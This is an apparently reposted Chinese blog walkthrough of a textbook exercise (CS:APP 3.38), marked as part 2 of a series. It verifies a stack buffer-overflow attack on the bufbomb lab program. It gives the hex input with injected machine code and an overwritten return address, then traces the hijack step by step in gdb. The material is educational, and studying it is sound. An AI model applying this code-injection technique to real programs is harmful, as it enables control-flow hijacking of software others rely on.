《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例(续2)

来源:互联网 发布:zaker知乎 编辑:程序博客网 时间:2024/05/16 14:49

本博客(http://blog.csdn.net/livelylittlefish)贴出作者(三二一@小鱼)相关研究、学习内容所做的笔记,欢迎广大朋友指正!

      

《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例(续2)

 

1. 问题描述

 

见http://blog.csdn.net/livelylittlefish/archive/2009/12/27/5087640.aspx

 

2. 目标分析与题解

 

见http://blog.csdn.net/livelylittlefish/archive/2009/12/27/5087676.aspx

 

3. 验证

 

3.1 验证输入的数据存放在buf开始的内存单元中

 

要验证我们的结论,可以再次调试代码。但要在getxs的汇编代码内部结尾处设置断点。我们先看看getxs即将退出的汇编代码。

    00401050 <_getxs>:

      401050:        55                           push   %ebp

      401051:        89 e5                        mov    %esp,%ebp

      401053:        83 ec 18                     sub    $0x18,%esp

      401056:        c7 45 f8 01 00 00 00         movl   $0x1,0xfffffff8(%ebp)

      40105d:        c7 45 f4 00 00 00 00         movl   $0x0,0xfffffff4(%ebp)

     

      ...

     

      401119:        8b 45 f0                     mov    0xfffffff0(%ebp),%eax

      40111c:        c6 00 00                     movb   $0x0,(%eax)

      40111f:        8d 45 f0                     lea    0xfffffff0(%ebp),%eax

      401122:        ff 00                        incl   (%eax)

      401124:        8b 45 08                     mov    0x8(%ebp),%eax

      401127:        c9                           leave 

      401128:        c3                           ret   

     

    0x401128处设置断点并重新运行程序,输入我们确定的数据。

    b8 ef be ad de 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00

     

    查看寄存器和buf=0x22bf80处的值,可以看出我们输入的数据已经保存在buf=0x22bf80开始的32个字节的内存单元中。

    (gdb) b *0x401128

    Breakpoint 1 at 0x401128

    (gdb) r

    Starting program: /cygdrive/e/study/programming/linux/2009-12-18testBufBomb/bufbomb.exe

    Type Hex string:b8 ef be ad de 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00

     

    Breakpoint 1, 0x00401128 in getxs ()

    (gdb) info registers

    eax            0x22bf80 2277248

    ecx            0x8885   34949

    edx            0x0      0

    ebx            0x0      0

    esp            0x22bf6c 0x22bf6c

    ebp            0x22bf98 0x22bf98

    esi            0x611021a0       1628447136

    edi            0x4014d0 4199632

    eip            0x401128 0x401128

    eflags         0x202    514

    cs             0x1b     27

    ss             0x23     35

    ds             0x23     35

    es             0x23     35

    fs             0x3b     59

    gs             0x0      0

    (gdb) x/16w 0x22bf60

    0x22bf60:       0x00000001      0x0000000a      0x0022bf98      0x0040113a

    0x22bf70:       0x0022bf80      0x004014d0      0x0022bf98      0x610f0668

    0x22bf80:       0xadbeefb8      0x115868de      0x00c30040      0x00000000

    0x22bf90:       0x00000000      0x00000000      0x0022bfb8      0x0022bf80

    以上加下划线并粗体显示的部分即为我们输入的数据。

     

    也可以使用如下命令验证存放于buf=0x22bf80处的数据。

    (gdb) p /x *0x22bf80@8

    $1 = {0xadbeefb8, 0x115868de, 0xc30040, 0x0, 0x0, 0x0, 0x22bfb8, 0x22bf80}

    (gdb) p /a *0x22bf80@8

    $2 = {0xadbeefb8, 0x115868de, 0xc30040, 0x0, 0x0, 0x0, 0x22bfb8, 0x22bf80}

     

    p /x *addr@len: 表示显示地址为addr开始的len个十六进制(x)的数据。

     

    leave(为返回准备栈)相当于以下两个操作,故此时%esp=0x22bf6c%ebp=0x22bf98,而getxs函数的栈帧已经被销毁。

    mov   %ebp,%esp ;set stack pointer to the beginning of frame

    pop   %ebp      ; restore saved %ebp and set stack ptr to the end of caller's frame

     

    buf起始地址0x22bf80开始,以单字节显示32个字节的值,可以更清晰地看出,这些值就是我们输入的数据。其中,%ebp'存放在0x22bf98单元,buf=0x22bf80存放在0x22bf9c单元,与上面的栈帧图也一致。

    (gdb) x/32b 0x22bf80

    0x22bf80:       0xb8    0xef    0xbe    0xad    0xde    0x68    0x58    0x11

    0x22bf88:       0x40    0x00    0xc3    0x00    0x00    0x00    0x00    0x00

    0x22bf90:       0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

    0x22bf98:       0xb8    0xbf    0x22    0x00    0x80    0xbf    0x22    0x00

     

    另外,使用如下命令,也可以验证我们的输入的数据的确是我们要执行的机器码。

    (gdb) x/3i 0x22bf80

    0x22bf80:       mov    $0xdeadbeef,%eax

    0x22bf85:       push   $0x401158

    0x22bf8a:       ret

    x /ni addr:查看addr开始的n条指令。

    xexamine,表示查看内存,n表示个数,i表示以指令格式显示。

     

    3.2 验证程序正确返回

     

    3.2.1 程序即将要执行的代码

     

    我们先看看即将要执行的代码,如下。程序即将要从getxs函数中返回到0x004011da处继续执行。

    00401129 <_getbuf>:

      401129:        55                           push   %ebp

      40112a:        89 e5                        mov    %esp,%ebp

      40112c:        83 ec 28                     sub    $0x28,%esp

      40112f:        8d 45 e8                     lea    0xffffffe8(%ebp),%eax

      401132:        89 04 24                     mov    %eax,(%esp)

      401135:        e8 16 ff ff ff               call   401050 <_getxs>

      40113a:        b8 01 00 00 00               mov    $0x1,%eax

      40113f:        c9                           leave 

      401140:        c3                           ret   

     

    00401141 <_test>:

      401141:        55                           push   %ebp

      401142:        89 e5                        mov    %esp,%ebp

      401144:        83 ec 18                     sub    $0x18,%esp

      401147:        c7 04 24 00 20 40 00         movl   $0x402000,(%esp)

      40114e:        e8 3d 01 00 00               call   401290 <_printf>

      401153:        e8 d1 ff ff ff               call   401129 <_getbuf>

      401158:        89 45 fc                     mov    %eax,0xfffffffc(%ebp)

      40115b:        8b 45 fc                     mov    0xfffffffc(%ebp),%eax

      40115e:        89 44 24 04                  mov    %eax,0x4(%esp)

      401162:        c7 04 24 11 20 40 00         movl   $0x402011,(%esp)

      401169:        e8 22 01 00 00               call   401290 <_printf>

      40116e:        c9                           leave 

      40116f:        c3                           ret   

     

    3.2.2 stepi继续执行0x401128处的代码

     

    接着继续stepi执行0x401128处的ret指令,并一直stepi知道从getbuf函数中返回,执行过程如下。

    (gdb) stepi

    0x0040113a in getbuf ()

    (gdb) info registers

    eax            0x22bf80 2277248

    ecx            0x8885   34949

    edx            0x0      0

    ebx            0x0      0

    esp            0x22bf70 0x22bf70

    ebp            0x22bf98 0x22bf98

    esi            0x611021a0       1628447136

    edi            0x4014d0 4199632

    eip            0x40113a 0x40113a

    eflags         0x202    514

    cs             0x1b     27

    ss             0x23     35

    ds             0x23     35

    es             0x23     35

    fs             0x3b     59

    gs             0x0      0

    (gdb) x/16w 0x22bf60

    0x22bf60:       0x00000001      0x0000000a      0x0022bf98      0x0040113a

    0x22bf70:       0x0022bf80      0x004014d0      0x0022bf98      0x610f0668

    0x22bf80:       0xadbeefb8      0x115868de      0x00c30040      0x00000000

    0x22bf90:       0x00000000      0x00000000      0x0022bfb8      0x0022bf80

    (gdb) stepi

    0x0040113f in getbuf ()

    (gdb) info registers

    eax            0x1      1

    ecx            0x8885   34949

    edx            0x0      0

    ebx            0x0      0

    esp            0x22bf70 0x22bf70

    ebp            0x22bf98 0x22bf98

    esi            0x611021a0       1628447136

    edi            0x4014d0 4199632

    eip            0x40113f 0x40113f

    eflags         0x202    514

    cs             0x1b     27

    ss             0x23     35

    ds             0x23     35

    es             0x23     35

    fs             0x3b     59

    gs             0x0      0

    (gdb) x/16w 0x22bf60

    0x22bf60:       0x00000001      0x0000000a      0x0022bf98      0x0040113a

    0x22bf70:       0x0022bf80      0x004014d0      0x0022bf98      0x610f0668

    0x22bf80:       0xadbeefb8      0x115868de      0x00c30040      0x00000000

    0x22bf90:       0x00000000      0x00000000      0x0022bfb8      0x0022bf80

    (gdb) info registers esp

    esp            0x22bf70 0x22bf70

    (gdb) stepi

    0x00401140 in getbuf ()

    (gdb) info registers

    eax            0x1      1

    ecx            0x8885   34949

    edx            0x0      0

    ebx            0x0      0

    esp            0x22bf9c 0x22bf9c

    ebp            0x22bfb8 0x22bfb8

    esi            0x611021a0       1628447136

    edi            0x4014d0 4199632

    eip            0x401140 0x401140

    eflags         0x202    514

    cs             0x1b     27

    ss             0x23     35

    ds             0x23     35

    es             0x23     35

    fs             0x3b     59

    gs             0x0      0

    (gdb) x/16w 0x22bf60

    0x22bf60:       0x00000001      0x0000000a      0x0022bf98      0x0040113a

    0x22bf70:       0x0022bf80      0x004014d0      0x0022bf98      0x610f0668

    0x22bf80:       0xadbeefb8      0x115868de      0x00c30040      0x00000000

    0x22bf90:       0x00000000      0x00000000      0x0022bfb8      0x0022bf80

     

    从中我们发现,程序一直很正常地执行,0x22bf9c单元的值一直是我们输入的0x0022bf80,即buf缓冲区的起始地址;%

    ebp也没有变化,其值一直都是gutbuf栈帧的基地址,只是%esp在变化,指示下一条要执行的指令的地址。此时,%esp指示0x22bf9c单元,%eip指向0x401140处的返回指令。

     

    3.2.3 程序跳转到buf处开始执行我们输入的机器码(指令)

     

    接下来,我们再继续stepi执行程序,因ret指令的任务是弹出返回地址并跳转到该地址继续执行。因此,从以下执行过程我们可以看出,执行0x401140处的ret指令后,%eip指向0x22bf80,开始执行我们输入的3条指令。

    (gdb) stepi

    0x0022bf80 in ?? ()

    (gdb) info registers

    eax            0x1      1

    ecx            0x8885   34949

    edx            0x0      0

    ebx            0x0      0

    esp            0x22bfa0 0x22bfa0

    ebp            0x22bfb8 0x22bfb8

    esi            0x611021a0       1628447136

    edi            0x4014d0 4199632

    eip            0x22bf80 0x22bf80

    eflags         0x202    514

    cs             0x1b     27

    ss             0x23     35

    ds             0x23     35

    es             0x23     35

    fs             0x3b     59

    gs             0x0      0

    (gdb) x/16w 0x22bf70

    0x22bf70:       0x0022bf80      0x004014d0      0x0022bf98      0x610f0668

    0x22bf80:       0xadbeefb8      0x115868de      0x00c30040      0x00000000

    0x22bf90:       0x00000000      0x00000000      0x0022bfb8      0x0022bf80

    0x22bfa0:       0x00402000      0x0022c388      0x0022c35c      0x00000026

     

    接下来执行0x22bf80处的指令,可以看到%eax的变化。

    (gdb) x/1i 0x22bf80

    0x22bf80:       mov    $0xdeadbeef,%eax

    (gdb) stepi

    0x0022bf85 in ?? ()

    (gdb) info registers

    eax            0xdeadbeef       -559038737

    ecx            0x8885   34949

    edx            0x0      0

    ebx            0x0      0

    esp            0x22bfa0 0x22bfa0

    ebp            0x22bfb8 0x22bfb8

    esi            0x611021a0       1628447136

    edi            0x4014d0 4199632

    eip            0x22bf85 0x22bf85

    eflags         0x202    514

    cs             0x1b     27

    ss             0x23     35

    ds             0x23     35

    es             0x23     35

    fs             0x3b     59

    gs             0x0      0

    (gdb) x/16w 0x22bf70

    0x22bf70:       0x0022bf80      0x004014d0      0x0022bf98      0x610f0668

    0x22bf80:       0xadbeefb8      0x115868de      0x00c30040      0x00000000

    0x22bf90:       0x00000000      0x00000000      0x0022bfb8      0x0022bf80

    0x22bfa0:       0x00402000      0x0022c388      0x0022c35c      0x00000026

     

    接下来执行0x22bf85处的指令,可以看到%esp0x22bfa0变为0x22bf9c,且tes调用getbuf的返回地址0x00401158被压入栈的0x22bf9c单元中。

    (gdb) x/1i 0x22bf85

    0x22bf85:       push   $0x401158

    (gdb) stepi

    0x0022bf8a in ?? ()

    (gdb) info registers

    eax            0xdeadbeef       -559038737

    ecx            0x8885   34949

    edx            0x0      0

    ebx            0x0      0

    esp            0x22bf9c 0x22bf9c

    ebp            0x22bfb8 0x22bfb8

    esi            0x611021a0       1628447136

    edi            0x4014d0 4199632

    eip            0x22bf8a 0x22bf8a

    eflags         0x202    514

    cs             0x1b     27

    ss             0x23     35

    ds             0x23     35

    es             0x23     35

    fs             0x3b     59

    gs             0x0      0

    (gdb) x/16w 0x22bf70

    0x22bf70:       0x0022bf80      0x004014d0      0x0022bf98      0x610f0668

    0x22bf80:       0xadbeefb8      0x115868de      0x00c30040      0x00000000

    0x22bf90:       0x00000000      0x00000000      0x0022bfb8      0x00401158

    0x22bfa0:       0x00402000      0x0022c388      0x0022c35c      0x00000026

     

    接下来执行0x22bf8a处的ret指令,此时%esp=0x22bf9c,将弹出0x22bf9c处的0x00401158并跳转到该处继续执行。

    (gdb) x/1i 0x22bf8a

    0x22bf8a:       ret

    (gdb) stepi

    0x00401158 in test ()

    (gdb) info registers

    eax            0xdeadbeef       -559038737

    ecx            0x8885   34949

    edx            0x0      0

    ebx            0x0      0

    esp            0x22bfa0 0x22bfa0

    ebp            0x22bfb8 0x22bfb8

    esi            0x611021a0       1628447136

    edi            0x4014d0 4199632

    eip            0x401158 0x401158

    eflags         0x202    514

    cs             0x1b     27

    ss             0x23     35

    ds             0x23     35

    es             0x23     35

    fs             0x3b     59

    gs             0x0      0

    (gdb) x/16w 0x22bf70

    0x22bf70:       0x0022bf80      0x004014d0      0x0022bf98      0x610f0668

    0x22bf80:       0xadbeefb8      0x115868de      0x00c30040      0x00000000

    0x22bf90:       0x00000000      0x00000000      0x0022bfb8      0x00401158

    0x22bfa0:       0x00402000      0x0022c388      0x0022c35c      0x00000026

     

    至此,我们可以看到程序已经从我们输入的指令中正确地返回到test函数中。该项验证完毕。

     

    3.3 验证执行结果

     

    接下来我们用continue命令执行程序,如下,看到程序正确地返回0xdeadbeef

    (gdb) c

    Continuing.

    getbuf returned 0xdeadbeef

     

    Program exited normally.

    (gdb)

     

    至此,我们所有的验证均已完成,再一次确认我们当初的分析。